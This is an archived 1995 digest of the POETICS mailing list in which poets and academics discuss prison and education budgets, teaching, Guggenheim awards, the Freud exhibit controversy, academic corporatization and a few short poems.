> *This is an unofficial site at the moment for Bob Grumman's press in Port Charlotte FL. Once again, this press specializes in visual poetry, though it*

> *has published a range of work including some prose. This site will include an online catalogue in the future. Currently featured is Irving Weiss's book, _Visual Voices: The Poem As a Print Object_, published in 1994, including samples as well as a description. Access directly at http://www.io.org/~dalopes/rasp*
>
> *UPDATES:*
>
> *fingerprinting inkoperated*
> *An all new special exhibit has been added to the pages of this small press: _Fragmintentions (No. 2)_ by Stephen Cain. This partly-authorized web reprint (in a limited edition of 5 billion viewers) is a wry and witty work by a talented emerging visual poet in Toronto. fingerprinting may be accessed directly at http://www.io.org/~dalopes/fi*
>
> *COMING VERY SOON (no, really):*
>
> *Torque*
> *One of the most vital forces to hit the scene in a long time, this magazine pushes at the boundaries as it strives to fill "that necessary void in literature." The last issue, subtitled "commodified dissent for the disgruntled few," features work both visual and linear by writers new and old. Watch this space for information on its grand web launch, deconstructing a computer near you...*
>
> ---
>
> *Prose & Contexts damian lopes*
> *Box 657 Station P Toronto ON M5S 2Y4*
> *http://www.io.org/~dalopes*

↑ Index

120. Aldon L. Nielsen
Re: totalitarian human control
Wed 6 Dec 1995

In the state of California this year, the Governor, for the first time in state history, submitted an initial budget which included more dollars for prisons than for higher education. Many elementary schools are now without librarians of any type, good or bad. When the media attempt to give us the impression that people in prison have it cushy, they seldom show us pictures of inmates in the library (that only seems to come up when they imply that inmates shouldn't be allowed to study law because, god help us, they might actually use their knowledge to APPEAL their sentences, and where would we be if innocent people could get out of jail on appeal %$^&(%)) ---

look -- I've been in jail,,,, not for long, admittedly, but I'm of an age to have been busted in demonstrations and frequently picked up for no reason at all back in the days when, for instance, the New Jersey Highway Patrol would arrest any racially integrated group of people driving in a van. I have relatives in prison. At the rate this country is going we may soon all have relatives in prison, or be there ourselves.

Jail might be nice if you're Michael Milken (sp?) but

point is, this same rampant "privatize everything" mood is at work in the prison budgets as well -- Who has not noticed that, along with the reintroduction of the chain gang and rock busting, more jails are being operated for profit, and more of the jailed are producing income for someone other than themselves --

We live in a society that is more interested in locking people up than in educating them -- Most of the prison systems I am aware of, while they still have something resembling an education program, have cut back on possibilities for college level training, even as more money is spent on the system itself --

When I was a student at the former Federal City College, we had a college degree program operating at Lorton Reformatory -- You can guess how popular that is with the Repub. Revolt --

Please, let's not confuse things -- It is a fact that prisons in this state get more money than higher ed (from the state, that is -- UC gets lots of other money, as Ron detailed here) -- That money goes to support an ever-expanding penal regime,, a business that relies upon having more people jailed for longer periods of time -- The disciplinary effects of this should be obvious without aid of Foucault --=

The cushy ones are the people who make an industry of keeping large segments of the population uneducated and locked up -- That's what I've been talking about here --

the poetics of confinement, I think, would be a suitable point for discussion -- Particulary on a day when a court has ruled against attempts to hold the federal government reponsible for slavery --

↑ Index

121. Aldon L. Nielsen
Re: the poetics of boo hoo
Wed 6 Dec 1995

Now in one year
  a book published

and plumbing--
took a lifetime
to weep
a deep
trickle

--Lorine Niedecker

↑ Index

122. Tenney Nathanson
outreach, hunger, & utah
Wed 6 Dec 1995

> *I'm going to teach a class called "Lit of Social Reflection: Hunger" (readings from sociology and anthropology as well as lit-- Kafka, Fisher, DiPrima ((DINNERS AND NIGHTMARES/REVOLUTIONARY LETTERS is perfect!!)), Dorothy Day...) Anyone have any suggestions of readings which might illuminate the experiences these students will have, of serving and eating with people at a soup kitchen? Ways to situate writing, and poetics, vis. food and hunger? I may not even be asking the right questions yet.*
>
> *To Judy Roitman: thanks-- your suggestion reminded me, too, of Kenneth Koch's book on teaching poetry-writing in nursing homes... which could be a good place to start... somehow I've been given this task of coming up with not just one class, but a rubric for regular service-learning offerings through my English Dept... so Lit. of Social Reflection (theft of title from Robert Coles) is the course title, and each person who does it could work up a separate topic-- like aging. AIDS lit. also comes to mind-- wouldn't it be great to teach Killian and Bellamy and Powell and Gunn and Kushner in one class...*
>
> *Thanks, everyone, for being open to this question of what "doing poetry" might encompass.*
>
> *--Nobody's Baby!*
> *Marisa*

Marisa--

just a sideline to the thread:

does this mean that the English Department is actively moving into something like only slightly indirect social action? Does this come from S. Tatum as head or from higher up? Are meditations on Utah pertinent? If so might they be forthcoming? Being at a big state U just slightly to the south, I'm a little surprised, is all, since I can't feature something like what you describe happening here so (almost) directly, though my department is hardly

conservative. Not to offend, but slight whiffs of the Church of the LDS seem to waft about your post, though I know U of Utah ain't BYU. Is LDS stuff pertinent and, if so, where does that place a (presumably?) quite non-LDS Asst Prof from Columbia?

best,

Tenney

↑ Index

123. Tenney Nathanson
just a general
Wed 6 Dec 1995

---

bravo that is to the POETICS list. The last week or so has been especially fractious and, I think, occasionally especially narsty (doan correct THAT spelling!)--but (and?), for me at least, esp. engaging. It's not exactly a "community" in the somewhat saccharine sense that was mooned over a year or so ago here, but it sure is a place to come to mull over the news for the lack of which people are mizzably dying etc pardon my syntax....

Tenney

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124. Kenneth Sherwood
EPCLIVE with Joris and Rothenberg
Wed 6 Dec 1995

ANNOUNCING an EPCLive *EVENT* with Jerome Rothenberg and Pierre Joris

In celebration of their new anthology _Poems for the Millennium: The University of California Book of Modern and Postmodern Poetry_ Rothenberg and Joris will join EPCLive for discussion, argument, and virtual "bow taking".

This event will take place between 6:30pm and 8:00pm EST on Monday December 11th.

In preparation for this event, the editors have made the book's Contents and Introduction available online (though you'll all want to buy this book!) To check these texts out of the library or to get the dirt on joining this real-time event, check out: http://writing.upenn.edu/epc/epclive

Write [redacted] or [redacted] with any questions.

Kenneth Sherwood | Dept English
[redacted] | 618 Clemens Hall
[redacted] | SUNY @ Buffalo
|_____Buffalo, NY 14214_____

RIF/T mail: [redacted]
Electronic Poetry Center (Web address): http://writing.upenn.edu/epc

---

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125. Gabrielle Welford
Re: Poetry and the Academy
Wed 6 Dec 1995

I am saving all these messages about what people are doing outside of academia (and enjoying it) for when I'm sliding down the mudpile of the academic job market in a few years. A light in the sludge! Thankyou. Gabrielle

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126. Kevin Killian
Re: self service...
Wed 6 Dec 1995

Yesterday Maria Damon advised:

> *marisa, how 'bout that book, cant remember title, Travels with ? memoirs of a homeless guy who traveled w/ his little dog? he's spozed to be a pretty good writer, had been published in some gay porn-fiction mags before. came out a few years ago?*

Maria, you must be thinking of Lars Eighner and his book Travels with Lizbeth. It's a good book, but his porn stories are even better, talk about "self-service," just a tip from-

Kevin Killian

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127. Gabrielle Welford
Re: mla
Wed 6 Dec 1995

Moving Leg Ameliorators
Most Laugh Again
Me Like Ashpits

↑ Index

128. Ron Silliman
Fwd: Guggenheim 95
Wed 6 Dec 1995

Tom Vogler backchanneled the following question to me, which is worth thinking about. Except for Schjeldahl, what a dismal list!

Ron Silliman

Out of curiosity I did a quick count of the "creative" categories for the '95 Gurglehomes (152 awards) and found 14 doing photography or film, 9 painting or similar art medium, 11 doing writing (breakdown below), 2 doing music. The writers broke down into 4 poetry, 3 fiction, 2 playwriting, 2 other. Why do you suppose the poets all have academic gigs, the fiction writers none?

POETRY
Linda Bierds, Poet, Sr. Lecturer in Creative Writing, Univ. of Washington
Michael Collier, Poet and Writer. Assoc. Prof English, Univ. of Maryland at
College Park; Director, Bread Loaf
Derek Mahon, Poet Distinguished Visiting Prof. Cooper Union for the Advancement of Science and Art.
Lynne McMahon, Poet. Assoc. Prof. English, Univ. of Missouri.

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Ann Patchett, Writer. Nashville, Tn.

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OTHER Ben Katchor, Writer and Artist. Tivoli, NY. "Picture stories." Peter Schjeldahl, Poet and Writer. "A memoir of 3 decades in the NY art world."

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129. Ron Silliman
Poetry & prisons
Wed 6 Dec 1995

I recall the Maximum Security Library at Folsom being fairly large 20 years ago, but heavy on the Zane Grey novels.

Actually, Don (say hi to John for me) and Aldon, the correlation between prisons and colleges isn't as remote or farcical as you make it seem. UC San Diego's Muir Campus dorms were built by the same architect (and using the SAME BASIC DESIGN) who did most of the Federal Bureau of Prisons' Metropolitan Correctional Centers. And they don't wear stripes, they wear blue jeans these days, at least in California. The supermax prison in the federal system, in Marion, Illinois, was originally a private boy's boarding school that the feds purchased when it went bankrupt.

Just as I moved here, there was a show of artists at Eastern Penn, the very first prison in the US (invented by the Quakers who were appalled at chain gangs). Fiona Templeton and others had works in it which I've heard some very interesting things about, but alas did not get to see it.

Ron Silliman

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130. Ron Silliman
Should
Wed 6 Dec 1995

I noticed how Dick Higgins' multiple uses of should and should not got people's hackles up. And I agree that on principle we oughta violate any such sense of containment the minute someone tries to throw up the barriers to discourse. But then I realized that Dick in his own way was answering (for himself only, no doubt) what Tom Kirby-Smith had asked awhile back about how one knows one is a poet. It is precisely the lack of essentialism about such things here (as distinct from the CAP-L list which has a chunk of it) that makes this discussion group the most useful one I've found.

Poetry & the MLA, poetry & prisons, poetry & TQM, it's all here....

Hey, Bill, your comment wasn't only ageist, it was flatulantist also. But it is nice to learn that my new company is "eating your lunch"...

Ron

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131. Dick Higgins
Re: Pro's & hobbyists
Wed 6 Dec 1995

> *So, Dick Higgins----are they ever gonna reprint that old book of yours that looks like a BIBLE?-----if not, well BOO WHO YOU. chris*

Boohoo me? Gee, man, things hurt too much to weep over. I'm done lamenting and am looking into taking a crash course in marksmanship.

Anyway yes, that bible-looking book is FOEW&OMBWHNW (pronounced like a horse's whinny) and, though it's been out of print for years, I think you can get a copy for around $30 from Small Press Distributioon in Berkeley or from Jon Hendricks (488 Greenwich St., New Yoirk 10013- fax 212/[redacted]).

Ass e'er-

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

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132. Dick Higgins
Re: service classes?
Wed 6 Dec 1995

> *Dick Higgins wrote:*
>
> *Isn't this the old "Daily Thermes" approach, which Baker used sixty years ago? It was still a-going when I was at Yale in the fifties and is still used, as you say, on the high schoool level in some places. Indeed it is good. But it is a pedagogical question.*
>
> *A pedagogical question meaning exclusively not a poetical question? The connection is much too complex to be dismissed with isolatory labels. While more often it seems pedagogy resists poetics, I see no reason why generative dialogue cannot be either transgressive or radical and certainly can cite many contemp. examples (in classrooms and/as texts). Instead of raking a divide between the two I think it would be more productive to meld these genres.*
>
> *How you teach is a different question from how you do or what you or anyone else's work EXISTS. How does a poem exist once it has left you? Is it the same work when it is typeset in Caslon or handwritten? How does it exist in the memory? Who are you when you have done it? Those are the questions which should be addressed, not the moonings of students who would rather be somewhere else (who can blame them) whom you are charged with teachi8ng your skills in spite of themselves.*
>
> *These are all interesting questions which I can't presume to answer*

> *thoroughly theoretically (tho would like to know those web sites of contemp. poems.) but I can insist on expanding the realm of poetics past a thin narrow path of verse commerce. As mentioned by Bill Luoma, some of what makes lit. crit. poetically versatile is its willingness to extend beyond Literature to institutions such as shopping malls, but why not politics, commuting, video games, utopia, numbers, architecture, cartoons? Are you positing a right poetics vs. wrong poetics, rigorous vs. trivial theory? I can understand the hesitancy not to allow EVERYTHING to be grist for poetics, but no one word listserv could ever sufficiently entice or encapsulate the possibility for discussion, so I can't assume you've been "misled" by the list. Find much laugh in Carlyle's "Faaaacts" drawl but when does such become hegemonically anti-intellectual? When it becomes pedagogical? As for the book *Natural History of the Intellect* I haven't read it but thus it seems now I've merely been reading the "unnatural" history of intellect. Woah was i off the beaten poetics.*
>
> *Nonetheless I do enjoy yr posts and was wonder if you could answer yr question "How does your work EXIST?" with respect to YOUR work?*
>
> *bests,*
> *joshua*

Yeah, I like "daily themes."

I know how my work exists. I am the choleric type and when I get desperate enough I stop raging, collect my thoughts and fill in the missing piece which I have noticed, the absence of which was part of my rage.

As for Emerson's NATURAL HISTORY OF INTELLECT, it is a much-neglected but fascinating work of his later years in which he matches prominent thinkers and figures to categopries--what we might call archetypes. As for Carlyle on facts, I don't think Carlyle was anti-intellectual particularly. But he was fed up to the gills with what he called "dry-as-dust" historians (read "critics") who had theories and then placed everything else into it, and in works such as PAST AND PRESENT he contrasts the journal of a fictitious medieval monk describing Bury-St.-Edmonds ca. 950 CE with a traditional theoretical historian's approach. Guess which comes out ahead. Carlyle says we need conclusions, but that it takes facts to create the process by which those conclusions come alive. Emerson and Carlyle were, of course, great friends, though Emerson was politically progressive and Carlyle an outright reactionary; but Carlyle's constant reproach to Emerson was that he often failed to relate his theory to the world in front of him. I like to visualize Carlyle when I am writing, standing by my side, warning me not to stray too far from the smell of spilled kerosene.

Bests

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

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133. Dick Higgins

Re: the poetics of boo hoo

Wed 6 Dec 1995

> *Now in one year*
> *a book published*
> *and plumbing--*
> *took a lifetime*
> *to weep*
> *a deep*
> *trickle*
>
> *--Lorine Niedecker*

Of course Ms. Niedecker is right. But never forget that till recently you could hire mourners to wail at your funeral to set its tone. In the Nerar East little bottles were avbiable to collect the tears of mourners, and these could be buried with you if yopu so chose. Tears, I hope you agree, are no guarantee of either sincerity nor significance. The symphonic poems of Sir Granville Bantock asre full of them, but I wouldn't sentence my very worst enemy to the fate of listening to his FIFINE ART THE FAIR (which opens with a depiction of "A Butterfly Floating on the Sea of Life").

Very bests

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

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134. Dick Higgins
Re: Fwd: Guggenheim 95
Wed 6 Dec 1995

> *Tom Vogler backchanneled the following question to me, which is worth thinking about. Except for Schjeldahl, what a dismal list!*
>
> *Ron Silliman*
> *----------*
>
> *Out of curiosity I did a quick count of the "creative" categories for the '95 Gurglehomes (152 awards) and found 14 doing photography or film, 9 painting or similar art medium, 11 doing writing (breakdown below), 2 doing music. The writers broke down into 4 poetry, 3 fiction, 2 playwriting, 2 other. Why do you suppose the poets all have academic gigs, the fiction writers none?*
>
> *POETRY*
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>
> *PLAYWRITING*
> *David Ives, Playwright. Adjunct Prof. Theatre Arts, Columbia*
> *Paula Vogel, Playwright. Prof. English, Brown University.*
>
> *OTHER*
> *Ben Katchor, Writer and Artist. Tivoli, NY. "Picture stories."*
> *Peter Schjeldahl, Poet and Writer. "A memoir of 3 decades in the NY art world."*

Were there any "creatives" at all outside of academia?

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]

Fax- [redacted]
e-mail- [redacted]

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135. Mark Roberts
Re: Poetry and the academy
Wed 6 Dec 1995

> *Mark Roberts wrote:*
>
> *"I want to hold your thing."*
>
> *Paul was always lost for words -*
>
> *How about*
>
> *everything depends upon the little red thing*
>
> *"so much"*
>
> *for quoting WCW.*
>
> *But you're sure right about Paul one of the four worst Beatles of all time.*
>
> *Herb Levy*
> [redacted]

whoops

that was one of my 'quick posts' I should have reread it before posting.....

Mark

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136. H. T. KIRBY-SMITH
why i want to be a poet and how you know you are
Wed 6 Dec 1995

---

if emily dickinson is a poet i dont wanna be a poet if geoffrey chaucer is a poet i don wanna if the comtesse de dia is a poet no i dont want to be a poet if wallace stevens is a poet no no i dont but if robert bly is a poet

oh yes god i want to be a poet ill do anything ill eat rhubarb pie ill vote republican ill

read his poems ill buy a renault but i cant be a poet

its not on my birth certificate if you are a poet

they write it on your birth
certificate in the space marked ABNORMALITIES
they put

nascitur poeta

↑ Index

137. H. T. KIRBY-SMITH
how you know youre a poet etc
Wed 6 Dec 1995

---

sorry forgot to add jeremy reiskind told me and i hope i spelled his last name right i mean it was jeremy who said they put it on your birth certificate but it was me that did more research and found out what they put

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138. Mark Wallace
Freud and the Library of Congress
Wed 6 Dec 1995

I would appreciate hearing from anyone who has information about the following matter:

The Washington Post on 12-05-95 reports that the Freud exhibit scheduled to appear at the Library of Congress has been cancelled. Although officially the Library claims that the cancellation is due to a lack of funds, the Post suggests that the show has been cancelled because of huge outcry from critics, who apparently signed a petition demanding that the show not take place.

The critics identified in the Post article are Peter Swales, a "historian of psychoanalysis," Oliver Sacks, and "feminist author Gloria Steinem." According to the article, Peter Swales is responsible for circling the petition that has led to the cancelling of the show. The article goes on to link these critics with "the revisionist vanguard--including literary deconstructionists, gender studies scholars and academic advocates of group identity--that has toppled orthodoxies in the arts and humanities." Steinem is further quoted on the subject of Freud's "impact" as saying "I would say 70 percent of it is negative and 30 percent of it is positive. His premises about biological determinism have been undermined. He himself was likely abused. He himself suppressed criticism of his work."

One critical defender of the show, Freud biographer Peter Gay, is quoted as responding to the criticisms that "they've convinced the convinced. Freud once had a sexy dream about one of his daughters, so they make him into a pedophile. They love that sort of stuff."

There is not much information in the article as to what was actually going to be in the show. The Post quotes Library of Congress people as saying that wanted to present a show focusing on Freud "because he has made a decisive difference in 20th-century thought." But Mikkel Borch-Jacobson, refered to as "a prominent Freud detractor," is quoted as saying that the show was going to be "a massive overrepresentation of keepers of the Freud shrine, official historians, practicing analysts, and popular defenders of the psychoanalytic faith."

I'd appreciate public discussion from anyone who has more information on the controversy. Obviously, Washington Post representations are not necessarily trustworthy. This was, however, a front-page article, probably as a result of its relation to the recent Enola Gay exhibit controversy at the Smithsonian.

Thanks.

mark wallace

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139. **Bill Luoma**
Re: Pro's & hobbyists
Wed 6 Dec 1995

---

re: FOEW&OMBWHNW

Dick didn't you promise to post some sites where we could look at your viz pomes?

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140. **Keith Tuma**
Re: Should
Wed 6 Dec 1995

Ron--

For those of us with clogged disks. . .

What's going on in the essentialized poetryminds of CAP-L these days?

Does Corn still rule? Histories of versemaking from "plop" to "ploop"?

Should you care to expound at your leisure. . .

--Keith Tuma

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141. Joe Amato
academic incorporations 1...
Wed 6 Dec 1995

---

just a few thoughts about this question of academic workers... i've used the subject line above to enable folks who have no wish to read about such doings to quickly detect and hit "delete"...

i think it was richard ohmann who argued long ago (in essence) that academics need to start talking politically about academe itself...

now if a good portion of poets were steelworkers, and if i were a steelworker, and if somebody suggested (to paraphrase dick---and dick, i'm not picking on you here, it's just that what you posted was at once generous and provocative) that i was "feeling sorry for myself," i'd probably get pissed off and challenge that person to an arm wrestling match...

but seeing as how i've no wish to appear manly, and seeing as how most poets are *not* steelworkers, and seeing as how, in fact, many who write poetry *are* (and aren't) teachers, i have to wonder why an informed discussion of what's wrong with the teaching profession, centered around that most anarchic of---is it gonna be "vocations"? (evokes a "calling," no?)---poetry, isn't a worthwhile activity?... in fact, why is this somehow beside the point?... why is it so easy to pick on?...

i mean, academics seem more *subject* (all senses of this latter) to the charge of appearing like cry babies or some such, and this imho is why it's generally perceived as ok to rail against mla-orientation, even around here, even as those railed against are themselves railing against the mla (substitute aft (american federation of teachers) or nea (national education association) for mla and you'll see what i mean)... b/c if a good portion of poets around here were un/employed steelworkers, and if they took to lamenting over the relationship twixt their work and poetry (the poetry many of them wrote and read and identified with and through), would this require a separate list?... but it's obvious most folks don't construe steelworkers in such terms---they do "real" work, if they're unemployed it's "serious business"... besides, writing is for sissies...

writing is for sissies... think of philip levine's fairly recent _what work is_ (however much i like much of his earlier stuff)...

in fact there may be something very gendered about all of this, right?... i mean, even though writing is for sissies, it's much as though academe occupies the feminine somehow wrt poetry (here, anyway), hence can be pooh-poohed in

such terms... so mebbe *teaching* is for sissies... so perhaps academe simply lacks something of the archaic residue of poet-hero?...

mebbe i'm reading into the situation a bit, yes, so mea culpa... and of course i don't see the remedy for this in terms of regendering as masculine (i.e., arm wrestling)... and of course it seems to me that even the tendency to regard academe in such terms is just FURTHER indication that the academics among us would do well to start to rethink the (teaching) professional [ok, yawn, i know]...

i entirely agree that (again, to paraphrase dick) "academia is not the only way to approach these things"---yet it IS one way...

best,

joe

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142. Joe Amato
academic incorporations 2...
Wed 6 Dec 1995

---

a few scholarly notes:

for me, the most interesting historical resonances to what's happening right now with tqm and all are to be found in the period immediately preceding u.s. involvement in the second world war, as well as the war years themselves---circa 1938-1946... just at the actual dawning of the (postwar) cybernetics era...

if you haven't already, have a close look at chester irving barnard's _the functions of the executive_ (harvard up, 1938), james burnham's _the managerial revolution_ (indiana up, 1941), carl becker's _new liberties for old_ (yale up, 1941), harold laski's _the american presidency: an interpretation_ (harper, 1941)... also work by lawrence dennis, friedrich hayek, ernst cassirer (_the myth of the state_) to get some idea of what i mean (i'm thinking only of work published during those years)...

'we've' gotten 'here,' it seems to me, by this curious amalgam of corporate-govt. designs of, by, and for "the people," yknow... and the educational environs has often aided and abetted this development, occasionally unwittingly...

next, have a look at steve heims' _the cybernetics group_ (mit, 1991) alongside jed rasula's _the american poetry wax museum_, chapter two... and i'll be damned if, in terms of their influence and ultimate significance, the new critics don't start to sound a whole lot like the group involved in the macy conferences on cybernetics (1946-1953)...

an aside (my tendency to footnote---oh well): have a look at edwin t. layton, jr.'s _the revolt of the engineers: social responsibility and the american engineering profession_ (johns hopkins up, 1986), to see how corporate america broke the unionizing effort of engineers earlier this century...

joe

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143. **Joe Amato**
academic incorporations 3...
Wed 6 Dec 1995

now, more on the situation at iit:

it's not just galvin/motorola who runs things at iit, it's one of the wealthiest men in america, bob pritzger (last i heard, galvin was "worth" $1 1/2 BILLION, pritzger $3 1/2 BILLION)... these two men are simply the most powerful two folks on our board of trustees... why do i know this?---i mean, like, i've got OTHER THINGS to think about, yknow, like how to teach my classes, like tending to each and every student... and my poetry, for chrissakes, what on earth does this latter have to do with teaching even?...

well i know this b/c the shit hit the fan earlier this year on my campus---and undergrad. ed. was threatened with extinction... and this is, so to speak, my bread & butter... so i think those of you who work in academe would do well to begin to acquaint yourselves with your boards of trustees, your governing bodies... and those of you with any interest at all in what your friends and family are doing in higher ed. ought to start to wonder how things have gotten so screwed up... b/c boards are often the 'mysterious' players behind academic decisions... in fact they vote among themselves to 'elect' new members TO the board---so in effect, though governed in general by state laws, they are self-sufficient...

now: galvin is a bit of a loose cannon, quipping to the last english minor here at iit, when this latter confronted him re cutting all the humanities undergrad. programs, that (roughly) he 'got more reading done now that he had a chauffeur'... har har har... but it's this sort of remark that reveals the not-so-subtle contempt (and anti-intellectualism) currently fueling decisions to cut "illiberal education," do away with all of us "tenured radicals," rectify the "prof. scam" (alter, in john singleton's ironically convenient phrase, "higher learning," pull it more in line with economic "realities")...

now as i'm certain many of you can imagine, even on my own campus there are opposing ideas about the usefulness of the coming changes... as i see it, there are the company folks---those for whom anything but absolute loyalty is

disloyalty, and putting a good face on all losses ("no problems, just opportunities") is par for the course... then there are admins. who are caught twixt their faculty loyalties and their loyalty to iit---to see it remain solvent... then there are faculty whose loyalty is to their profession (this is close to moi, though i'm even a bit more autonomous and self-serving, perhaps)... and finally are those who are, like some of the admins., loyal to iit... i'm using this grid of mixed loyalties as a way of describing the complex of institutional motivations... i'm probably in my evaluation, as you might note, one of the harsher critics of what's going down... but in any case we each have loyalties to our families, ideologies, we have our writing commitments, etc.---so it's all very messy... i offer only a brutal critique of the institutional contours...

here's an excerpt from the (now foundational) *national commission for iit* document (distributed november of last year)... i'm excerpting only a few sentences (themselves italicized as headings in the original) from this fifty page booklet:

Professionals are dedicated to public service.
Professionals are committed to continuing personal development.
Professionals find hard work fulfilling.
Professionals know that technological change is the main engine of economic progress and growth.
Professionals recognize that the entrepreneurial spirit is the fuel for both individual and societal progress.

following each of these bylines is a short statement as to how iit is meeting such "professional values"... i leave it to each of you to imagine how the cumulative effect of such assertions is "instituted"...

the next assertion (this time boldface):

Professionals must work in and value our multicultural world.

under which

This principle, drawn from IIT's original mission, has led IIT to become a highly diverse, international institution. In the global economy of the 21st century, such a commitment to diversity will be even more important.

iit *does* in fact have a high number of international students, as do most technical institutes... in fact, there's a strong recruitment effort at the moment aimed at drawing folks from southeast asia in particular... of course the point here is that these folks can *pay* for their educations---which is why they're being wooed... most recently, iit *has* in fact just received from its board of trustees some millions of dollars to fund 30 (and mebbe 60 or 100) 'exceptional' students in engineering-only majors---many of these scholarships cover room, board, tuition, the works... this is Good News for the most part, given that the

scholarships presumably will be allocated to exceptional students regardless of economic background, ethnicity, etc...

but the fact is, many of us read all of these developments as an attempt by iit, in effect, to end their subsidizing of kids from the chicago area... many of them african-american or latino/a kids who, say, may have had the misfortune of attending the chicago public school system (with it's 50% dropout rate)... subsidizing such students, finally, COSTS... so while undergrad. ed is NOT a profit-making activity, asking that it BECOME one becomes in essence smokescreen for a move toward generating revenue from students, with the guarantee of endowment monies from powerful board members who are "satisfied" that you're playing financial hardball, and educating students *their way*... iit has been in deep shit financially for years, and its endowment is, at best, modest... ergo, now we have to join the rest of the world, ysee, b/c after all, the "bottom line," as i hear so often, is profit...

many of us initially viewed the scholarship endowment as a 'bribe' to cajole us into approving (then imminent) faculty governance procedural changes that would in effect permit the institution to eliminate fully tenured folks (in the event of financial exigency) BEFORE untenured folks... in any case, these scholarships say nothing as to the woeful state of the institution---buildings need work, iit is now trying to lease some campus buildings for additional revenue (as programs are reduced or consolidated), etc. (to give you some idea: $262 per annum in english journals, and we were asked to whittle this down!---so now there *are* no english journals in our library... i could go on and on here, but aldon, for one, clearly knows this tune better than me)...

and these changes say nothing as to the proposed accounting scheme (look carefully at this stuff, folks) that would in effect INCREASE humanities deficit spending with an INCREASE in freshman enrollment---b/c we have no majors (!---note that under the current financial model, we're something like $750,000 in the red BECAUSE we're a service organization and have no majors (mind you, with the lowest pay and highest teaching loads on campus))... further, that the new "financial principles" would have permitted the board of trustees to eliminate any program or dept. with a deficit two years' running... this was effectively stopped (at least, for now), but the status of humanities is currently compromised by a proposal (now approved) to incorporate two or three of the required twelve humanities hours (that's it---twelve hours required by abet in history, philosophy, english for an engineering degree) into an "interprofessional project"...

which in effect is a project meant to familiarize students with the 'real world' of the corporation... and we're to find a way to do what we do within said rubric... consider, in addition, the extent to which corporate imperatives drive

accreditation agencies like abet (this is the accreditation board for engineering and technology)...

i think this does it for now... but again, this gives some idea what's going on in academe, not that awful drivel one generally hears ushering forth from the bennetts and gingriches and kimballs and d'souzas of the privileged world...

joe

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144. Bill Luoma
ken saro-wiwa
Wed 6 Dec 1995

---

guyzies*

check the new york times wed dec 6 for some work from Desmond Orage, son of the late Chief SN Orage. Ken saro-wiwa was also his uncle by marriage. "He" took out a two page spread in section A, with nice clip art and arrows that point to important paragraph/events to allow us to make a narrative. Each paragraph/event begins with a large albertus drop cap. Two towards the end go like this:

"At the rally of the NYCOP Youth, Ken Saro-Wiwa ordered the Youth to 'go kill the vultures.' Some of the youth would later testify about his order in court."

"May 21, 1994. A pre-announced meeting of Ogani Chiefs and Elders was held. The unsuspecting men gathered to discuss the rise in status of two of their sons. Eyewitness accounts indicated that 2000 armed (NYCOP) Youth stormed the Gbeneneme Palace where the meeting of elders and chiefs was being held. Only those whose names appeared on the 'Newsflash' were selectively bludgeoned and killed. Others in attendance went unharmed. Four founding fathers of MOSOP were killed. Their bodies were dragged outside of the palace. Most were beheaded. One was eaten. The remains of the bodies were packed inside a Volkswagon Beetle which was then set afire."

An address appears at the bottom of page 17:

The Kobani, Badey and Orage Memorial Foundation
PO Box 59241 Philadelphia PA 19102
[redacted]

* with persimmon from md

↑ Index

145. **Maria Damon**
Re: total quality mangled
Wed 6 Dec 1995

---

ulmer spring (welcome are you new?) wrote:
to do with jail and fairness, everyone should read Brother Soledad by George Jackson...

yes, it ws one of those "formative" books for me in my early 20s. lots of good stuff on prisons out there, including tons of prison poetry anthologies from the 70s and 80s.--md

↑ Index

146. **Maria Damon**
Re: Poetry and cult studs
Wed 6 Dec 1995

---

how can we get ross talarico on the list --does anyone know him?--md

↑ Index

147. **Burt Kimmelman**
Re: Freud and the Library of Congress
Wed 6 Dec 1995

Piece on Freud in today's ny times too.

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148. **Jordan Davis**
benefactors, patrons, angels
Wed 6 Dec 1995

Conclusion-the poetics bulletin board should be precisely what it was established to be, a POETICS discussion group. The people who need to chatter about the MLA should have their own discussion group. And as for poetry, there are increasing numbers of e-mags and sites with poetry, visual or otherwise. Each has its own function- and, I might add, its own legitimacy. But they are not the same thing.

By the way, I will be happy to swap site info on places where my own poetry is or where I have found poems I like. WE can then discuss those pieces, which means we will be focusing on stuff that is current and which presumably reflects our time and predicaments in a fairly raw way.

——

Dick! buddy! glad you're here!
How long have you been here, anyway?
We sure could have used you when we were battling with Alfred Corn!
Did you hear about that?
Have you checked out the archives of this mailing list
At the Electronic Poetry Center? That's a pretty good site.
http://writing.upenn.edu/epc
You should see what people here have to say about William Carlos Williams!
I guess I got flustered by your good ol' Poundian "ruff-em-up"
Because it came in the middle of a discussion
About teaching and the connection of poetry to society
Specifically a proposed class on poetry and hunger!
This seemed to me to come from almost exactly the same place
If, it's true, with a different slant,
That the people we speak of as resuscitating the discussion of
POETICS
In America came from--poetry and society and I don't mean
To go along with any "intentional fallacy" arguments but
I don't see the point of telling people
What they're supposed to be talking about. All the
Best,
Jordan

↑ Index

149. **Jordan Davis**
I'll second Schjeldahl
Wed 6 Dec 1995

Katchor's comic, "Julius Knipl, Real Estate Photographer", is so off it's
on. Not dismal at all.
Dagoberto Gilb writes some pretty strong stuff for NPR.
I'll second Schjeldahl.

Jordan

↑ Index

150. **Kevin Killian**
Re: Freud and the Library of Congress
Wed 6 Dec 1995

Mark,

There is an article about this controversy in the latest _Lingua Franca_. If you can't find it, send me your address and I'll mail it to you. I'm done with it.

I hope it's okay with Al Nielsen that I read this article, since he condemned the last piece I mentioned from the _New Yorker_. Like I could see smoke fuming up from his keyboard.

Dodie Bellamy

↑ Index

151. Don Cheney
Re: totalitarian human control
Wed 6 Dec 1995

---

bravo, aldon. sorry if i ranted in my post. the prison my brother in has zero resources unless you want to work out. he's had time to think and i've been able to send him books (only through publishers or bookstores, though i've found ways around that rule) but basically he's been sitting there for three years now. no classes. a joke of a library. treated like scum by guards. and i reacted on that level. that and it seems (because my ears are open to it) i keep hearing media reports on how cushy prisons are (you know the spiel) and that has not been my brother's experience.

and ron:

thanks for your post. and yes, they still wear denim. when you visit you can't wear any denim or clothing with any kind of insignia.

don

[redacted]

